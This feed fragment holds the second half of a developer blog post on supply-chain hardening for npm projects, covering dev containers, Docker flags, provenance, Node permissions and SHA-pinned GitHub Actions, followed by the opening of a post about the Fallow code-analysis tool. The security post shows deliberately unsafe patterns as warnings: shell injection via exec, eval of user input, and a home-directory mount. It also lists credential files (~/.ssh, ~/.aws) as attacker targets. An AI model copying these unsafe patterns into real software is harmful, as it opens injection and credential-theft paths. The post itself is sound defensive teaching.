        &lt;/span&gt;&lt;span class="s2"&gt;"nrwl.angular-console@18.94.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"dbaeumer.vscode-eslint@2.4.4"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"settings"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"extensions.autoUpdate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"extensions.autoCheckUpdates"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"mounts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;✅&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;mount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;what&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;project&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;needs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;nothing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;else&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"source=${localWorkspaceFolder},target=/workspace,type=bind,consistency=cached"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;❌&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Never&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;exposes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;your&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;entire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;home&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;directory&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"source=${env:HOME},target=/root,type=bind"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"remoteEnv"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Inject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;secrets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;project&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;actually&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;needs&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"GITHUB_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"${localEnv:GITHUB_TOKEN_MY_APP}"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"postCreateCommand"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npm ci --ignore-scripts"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What This Protects Against
&lt;/h3&gt;

&lt;p&gt;When a malicious postinstall script or extension runs inside a dev container, its blast radius is dramatically contained:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack vector&lt;/th&gt;
&lt;th&gt;Bare host&lt;/th&gt;
&lt;th&gt;Dev container&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Read &lt;code&gt;~/.ssh/&lt;/code&gt; keys&lt;/td&gt;
&lt;td&gt;✅ Full access&lt;/td&gt;
&lt;td&gt;❌ Not mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read &lt;code&gt;~/.aws/credentials&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;✅ Full access&lt;/td&gt;
&lt;td&gt;❌ Not mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltrate other project dirs&lt;/td&gt;
&lt;td&gt;✅ Full access&lt;/td&gt;
&lt;td&gt;❌ Not mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access host network services&lt;/td&gt;
&lt;td&gt;✅ Unrestricted&lt;/td&gt;
&lt;td&gt;⚠️ Configurable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persist after container is destroyed&lt;/td&gt;
&lt;td&gt;✅ Writes to host&lt;/td&gt;
&lt;td&gt;❌ Container is ephemeral&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The Nx Console payload specifically harvested GitHub tokens, AWS credentials, and AI coding assistant keys all of which live in the developer's home directory. A correctly configured dev container would have mounted only the project folder, leaving the rest of the host invisible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Locking Down the Container Further
&lt;/h3&gt;

&lt;p&gt;Combine dev containers with tighter Docker constraints to shrink the surface even further:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"runArgs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"--cap-drop=ALL"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"--security-opt=no-new-privileges:true"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"--read-only"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"--tmpfs=/tmp"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"containerUser"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These flags drop all Linux capabilities, prevent privilege escalation, make the container filesystem read-only (with a writable &lt;code&gt;/tmp&lt;/code&gt; tmpfs), and ensure the process runs as a non-root user even inside the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  Team Adoption
&lt;/h3&gt;

&lt;p&gt;The real value of dev containers is consistency: every developer on your team runs the same environment, with the same extension versions, the same Node version, and the same &lt;code&gt;npm ci --ignore-scripts&lt;/code&gt; on creation. There's no "it works on my machine" gap where one developer's node_modules drifted because they ran &lt;code&gt;npm install&lt;/code&gt; without the lockfile.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Anyone cloning the repo gets the same environment&lt;/span&gt;
git clone git@github.com:your-org/your-app.git
code &lt;span class="nb"&gt;.&lt;/span&gt;  &lt;span class="c"&gt;# VS Code prompts: "Reopen in Container"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pair this with GitHub Codespaces for teams that want the development environment entirely off their local machine, the host attack surface reduces to essentially a browser.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Verify Package Signatures
&lt;/h2&gt;

&lt;p&gt;Since npm 9+, you can verify that a package was published by who it claims:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify signatures of all installed packages&lt;/span&gt;
npm audit signatures
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When publishing your own packages, add provenance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm publish &lt;span class="nt"&gt;--provenance&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Provenance links the published package to the specific CI run that built it, creating a verifiable, tamper-evident chain from source code to published artifact. Notably, one of the recent Mini Shai-Hulud waves in May 2026 managed to publish packages with valid SLSA provenance attestations, meaning signature checks alone are no longer sufficient, and behavioural analysis tools like Socket.dev remain essential.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Prevent RCE in Your Own Code
&lt;/h2&gt;

&lt;p&gt;Supply chain attacks get you through your dependencies. RCE vulnerabilities get attackers in through your own code. The two most common patterns to eliminate:&lt;/p&gt;

&lt;h3&gt;
  
  
  Never pass user input to &lt;code&gt;exec()&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;execFile&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ❌ DANGEROUS — shell injection&lt;/span&gt;
&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`ffmpeg -i &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userProvidedFilename&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; output.mp4`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ SAFE — argument array, no shell interpretation&lt;/span&gt;
&lt;span class="nf"&gt;execFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ffmpeg&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-i&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;userProvidedFilename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;output.mp4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Never eval user input
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ Any of these with user-controlled input = instant RCE&lt;/span&gt;
&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;)();&lt;/span&gt;
&lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;runInNewContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ Use a strict sandbox or purpose-built expression evaluator&lt;/span&gt;
&lt;span class="c1"&gt;// like expr-eval or math.js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lock down V8 string evaluation at the process level
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node &lt;span class="nt"&gt;--disallow-code-generation-from-strings&lt;/span&gt; server.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Use Node.js Permission Model (v20+)
&lt;/h2&gt;

&lt;p&gt;Node.js 20 introduced a built-in permission model that lets you sandbox exactly what your process is allowed to do at the OS level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node &lt;span class="nt"&gt;--experimental-permission&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;--allow-fs-read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./src &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;--allow-fs-write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./tmp &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;--allow-net&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;api.stripe.com,api.yourservice.com &lt;span class="se"&gt;\&lt;/span&gt;
     server.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any attempt to read outside &lt;code&gt;./src&lt;/code&gt;, write outside &lt;code&gt;./tmp&lt;/code&gt;, or phone home to an unexpected domain will throw a permission error even from inside a compromised package.&lt;/p&gt;




&lt;h2&gt;
  
  
    &lt;strong&gt;BONUS&lt;/strong&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  11. Harden Your Docker Container
&lt;/h2&gt;

&lt;p&gt;Even if a package is compromised and achieves code execution, a properly locked-down container limits the blast radius dramatically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:20-alpine&lt;/span&gt;

&lt;span class="c"&gt;# Create a non-root user&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;addgroup &lt;span class="nt"&gt;-S&lt;/span&gt; appgroup &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; adduser &lt;span class="nt"&gt;-S&lt;/span&gt; appuser &lt;span class="nt"&gt;-G&lt;/span&gt; appgroup

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; package*.json ./&lt;/span&gt;

&lt;span class="c"&gt;# Use npm ci for clean install, skip scripts&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;npm ci &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt; &lt;span class="nt"&gt;--omit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dev

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; appuser:appgroup /app

&lt;span class="c"&gt;# Switch to non-root&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; appuser&lt;/span&gt;

&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["node", "server.js"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in your &lt;code&gt;docker run&lt;/code&gt; or &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;security_opt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;no-new-privileges:true&lt;/span&gt;
&lt;span class="na"&gt;cap_drop&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;ALL&lt;/span&gt;
&lt;span class="na"&gt;cap_add&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;NET_BIND_SERVICE&lt;/span&gt;
&lt;span class="na"&gt;read_only&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker who achieves RCE inside this container has no root, no shell escalation path, no write access to the filesystem, and severely limited syscalls.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. Pin Your GitHub Actions to Commit SHAs
&lt;/h2&gt;

&lt;p&gt;Your CI/CD pipeline is part of your supply chain and it was the entry point in the TanStack compromise of May 2026. GitHub Actions tags (&lt;code&gt;@v3&lt;/code&gt;, &lt;code&gt;@v4&lt;/code&gt;) are mutable, a compromised maintainer can push new code under an existing tag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Tag can be silently overwritten&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;

&lt;span class="c1"&gt;# ✅ Commit SHA is immutable&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use a tool like &lt;a href="https://github.com/mheap/pin-github-action" rel="noopener noreferrer"&gt;&lt;strong&gt;pin-github-action&lt;/strong&gt;&lt;/a&gt; to automate this across your workflow files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference: Tools by Category
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability scanning&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npm audit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CVE checks against npm advisory DB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Behavioural analysis&lt;/td&gt;
&lt;td&gt;Socket.dev&lt;/td&gt;
&lt;td&gt;Detects malicious package behaviour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automated PRs&lt;/td&gt;
&lt;td&gt;Renovate / Dependabot&lt;/td&gt;
&lt;td&gt;Keeps deps updated with review gates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE monitoring&lt;/td&gt;
&lt;td&gt;Snyk / OSV-Scanner&lt;/td&gt;
&lt;td&gt;Continuous monitoring, PR alerts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unused deps&lt;/td&gt;
&lt;td&gt;&lt;code&gt;depcheck&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Find deps you can remove&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret scanning&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;truffleHog&lt;/code&gt; / &lt;code&gt;git-secrets&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Catch credentials before they're pushed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signature verification&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npm audit signatures&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verify package provenance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extension security&lt;/td&gt;
&lt;td&gt;Aikido Device Protection&lt;/td&gt;
&lt;td&gt;On-device scans of IDE extensions and MCP tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev environment isolation&lt;/td&gt;
&lt;td&gt;Dev Containers / Codespaces&lt;/td&gt;
&lt;td&gt;Sandbox development away from host credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The Quick Win Checklist
&lt;/h2&gt;

&lt;p&gt;If your team can ship only seven things this sprint, make them these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Replace &lt;code&gt;npm install&lt;/code&gt; with &lt;code&gt;npm ci&lt;/code&gt; in all CI pipelines&lt;/li&gt;
&lt;li&gt;[ ] Add &lt;code&gt;ignore-scripts=true&lt;/code&gt; to &lt;code&gt;.npmrc&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Install the Socket.dev GitHub App on your repos&lt;/li&gt;
&lt;li&gt;[ ] Configure Renovate (or Dependabot) with &lt;code&gt;minimumReleaseAge: "30 days"&lt;/code&gt; for production deps&lt;/li&gt;
&lt;li&gt;[ ] Add &lt;code&gt;npm audit --audit-level=high&lt;/code&gt; to your pre-push hook&lt;/li&gt;
&lt;li&gt;[ ] Disable VS Code extension auto-updates and pin versions in &lt;code&gt;devcontainer.json&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Add a &lt;code&gt;.devcontainer/devcontainer.json&lt;/code&gt; that mounts only the project folder not your home directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last two items were optional advice last year. After the GitHub breach, they're table stakes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing Thoughts
&lt;/h2&gt;

&lt;p&gt;Supply chain security isn't a one-time fix, it's a set of habits. And in 2026, those habits need to extend beyond your &lt;code&gt;package.json&lt;/code&gt; and into your IDE, your CI pipelines, and your developer endpoints.&lt;/p&gt;

&lt;p&gt;The GitHub breach is a landmark incident not because GitHub was breached though that is significant on its own but because of what it demonstrates: &lt;strong&gt;the attack surface is your developer environment itself&lt;/strong&gt;. An extension that was malicious for 18 minutes was enough to exfiltrate nearly 4,000 repositories from one of the most security-conscious engineering organisations on the planet.&lt;/p&gt;

&lt;p&gt;The teams that weather these attacks are the ones that treat their entire toolchain dependencies, CI actions, IDE extensions, and the developer environment itself with the same scrutiny they apply to their own code: reviewed, versioned, audited, and never blindly trusted.&lt;/p&gt;

&lt;p&gt;Start with the quick wins. Then build toward full provenance attestation, container hardening, dev container isolation, and endpoint protection for developer machines. Each layer compounds.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Found this useful? Drop a comment with what your team currently does for supply chain hygiene always curious to see what's working out in the wild.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Your TypeScript Codebase Is Lying to You. Fallow Will Tell You the Truth.</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Mon, 04 May 2026 23:13:37 +0000</pubDate>
      <link>https://forem.com/walosha/your-typescript-codebase-is-lying-to-you-fallow-will-tell-you-the-truth-17hf</link>
      <guid>https://forem.com/walosha/your-typescript-codebase-is-lying-to-you-fallow-will-tell-you-the-truth-17hf</guid>
      <description>&lt;p&gt;You think your codebase is clean.&lt;/p&gt;

&lt;p&gt;You're wrong.&lt;/p&gt;

&lt;p&gt;Somewhere in that repo right now, there are files nobody imports. Functions nobody calls. CSS classes nobody renders. Logic that was copy-pasted three times across different modules because someone was in a hurry and nobody ever went back.&lt;/p&gt;

&lt;p&gt;Nobody went back.&lt;/p&gt;

&lt;p&gt;And you've been shipping on top of that mess, quietly, every sprint.&lt;/p&gt;

&lt;p&gt;I'm not here to judge. I've seen it at every scale — scrappy startups, enterprise platforms, well-funded teams with senior engineers. The mess is universal. What isn't universal is the tool that actually shows it to you.&lt;/p&gt;

&lt;p&gt;That tool is &lt;a href="https://docs.fallow.tools" rel="noopener noreferrer"&gt;Fallow&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Fallow Actually Is
&lt;/h2&gt;

&lt;p&gt;Fallow is a static + runtime code intelligence CLI for TypeScript and JavaScript projects.&lt;/p&gt;

&lt;p&gt;One command. Three reports. No excuses left.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. No config file needed to start. No ceremony.&lt;/p&gt;

&lt;p&gt;It gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dead Code&lt;/strong&gt; — unused files, exports, dependencies, circular imports&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Duplication&lt;/strong&gt; — code clones, copy-paste instances, semantic repeats&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Health&lt;/strong&gt; — cyclomatic complexity, cognitive complexity, test coverage risk&lt;/li&gt;
&lt;/ul&gt;

